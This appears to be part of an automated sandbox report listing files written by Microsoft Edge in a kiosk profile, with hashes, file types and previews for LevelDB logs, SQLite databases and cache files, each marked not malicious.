SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rr:C1gAg1zfvj
MD5:	8F796E1512778E9C702625A725222995
SHA1:	AB0AFE29834E401300A48B1B17AA0E84FE50989D
SHA-256:	140CCF693752CC6A68FC75705D2591ADCD2034FA4ADA0DBA1BBF768274256584
SHA-512:	9153BA91B90DC1BE421061689D8B2E057172BED63A34B6D21C30A963DCBC09BD89A3BC506013DF012070D557A29B2EB66A6FB4F0535A85A9CC125F1661F1D09A
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.224995550979987
Encrypted:	false
SSDEEP:	6:OD0q1wkn23oH+TcwttaVdg2KLlMrG4q2Pwkn23oH+TcwttaPrqIFUv:c01fYebDLQG4vYfYeb83FUv
MD5:	8208E459BB614BCD8AFB606C11925514
SHA1:	613B87CEC0350A6DDD62AF1EDB223B12C2D19D8B
SHA-256:	6197761AFF383C03B0C845227AC610FE56DC9A1777306E8D42275DE448CB7DDC
SHA-512:	BA89B9F4846BD716034A7E75839C47DC302E050354C75B97F833A2613A60DA2CC8AA814B6D7388B172A26E95A375D581792DD903FA2CC5AFCEF0E3640DB09114
Malicious:	false
Preview:	2024/08/31-23:09:15.780 1060 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules since it was missing..2024/08/31-23:09:15.796 1060 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.216921752667202
Encrypted:	false
SSDEEP:	6:Ornq1wkn23oH+Tcwtt6FB2KLlMNGN4q2Pwkn23oH+Tcwtt65IFUv:4n1fYeb8FFLJ4vYfYeb8WFUv
MD5:	201A185EA17EB4E1DFAC5EA80774B880
SHA1:	8FAC1500C38BCBD09D190B621400E15A82BC70B0
SHA-256:	1EA454AFCD0D451FC431110DEEC29444FDD1B5B262CDEC31D84110BEEEFC8A65
SHA-512:	97F47F5575B6B73894DB464BCA6F1AF3CC5828CB48E283721C1127566A580E224299B6E486F76C2BD4D4DC5DD09ED2A2DD9B2B7E5270ECD79F3A9199DDD55C37
Malicious:	false
Preview:	2024/08/31-23:09:15.798 1060 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts since it was missing..2024/08/31-23:09:15.958 1060 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	C92EABB217D45C77F8D52725AD3758F0
SHA1:	43B422AC002BB445E2E9B2C27D74C27CD70C9975
SHA-256:	388C5C95F0F54F32B499C03A37AABFA5E0A31030EC70D0956A239942544B0EEA
SHA-512:	DFD5D1C614F0EBFF97F354DFC23266655C336B9B7112781D7579057814B4503D4B63AB1263258BDA3358E5EE9457429C1A2451B22261A1F1E2D8657F31240D3C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.17146407857741
Encrypted:	false
SSDEEP:	6:MPHMq1wkn23oH+TcwttYg2KLlON+w+q2Pwkn23oH+TcwttNIFUv:MPHsfYebJLUc1vYfYeb0FUv
MD5:	FD51A3D3C83B48FB1998D3BD03386C58
SHA1:	994020017CCBDA2E4D7676FECBC302FFE7A7EDED
SHA-256:	6FA23799C671970864C7BDB00EA04F0B27F7D78AC1A36162FA1D106B2860CB9A
SHA-512:	7C1AE152A7B618EB711C11AA64B20B739F4F30BDDDB8DC88FAA9511DAEB4FC0844F60BCDEC75A0B18409AD4412504C29491170C917568665F3CC9A406CC3D5CC
Malicious:	false
Preview:	2024/08/31-23:09:17.408 118 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State since it was missing..2024/08/31-23:09:17.422 118 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl4ml/:Ls34S/
MD5:	94BBCAD1C198E7244ADA914D2EF4760A
SHA1:	01438CBB4CCA1F983DAB0AB2B2F16D6D452EE83D
SHA-256:	EF8A6338BB3E559F04B34FB497FA8BDE3A7CBAA57013479CE51FBAD6A0A2BA30
SHA-512:	3765D811F74BED4FCD3402DD743154982D10ECEAB796C923603640E2879BA10E2C331E4C48E59B0C1AFD52A563263C6B873028193E65720AC887F2C279235B2A
Malicious:	false
Preview:	.........................................>.n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.229943599181395
Encrypted:	false
SSDEEP:	6:NvD1wkn23oH+TcwtRage8Y55HEZzXELIx2KLlsq2Pwkn23oH+TcwtRage8Y55HEz:NvyfYebRrcHEZrEkVLKvYfYebRrcHEZJ
MD5:	8CE2196391CE1B5F47C7858F8CE04C5C
SHA1:	7C848438DA265EE1D29E3685297FAB39E879E733
SHA-256:	8D284B113E5D8CCD9F7FA342ADB888DB29F55F358551AB4241EC97908F26028F
SHA-512:	2C15674B184AB9B9ADBDCF7ECD203E2F5385B072D3B22A4E053798621352A1467C6ADE0D90B2C822C843F9882E1210E0ED8EC9480CDBFC90A34C5B392DB291A2
Malicious:	false
Preview:	2024/08/31-23:09:18.317 1c70 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2024/08/31-23:09:18.331 1c70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

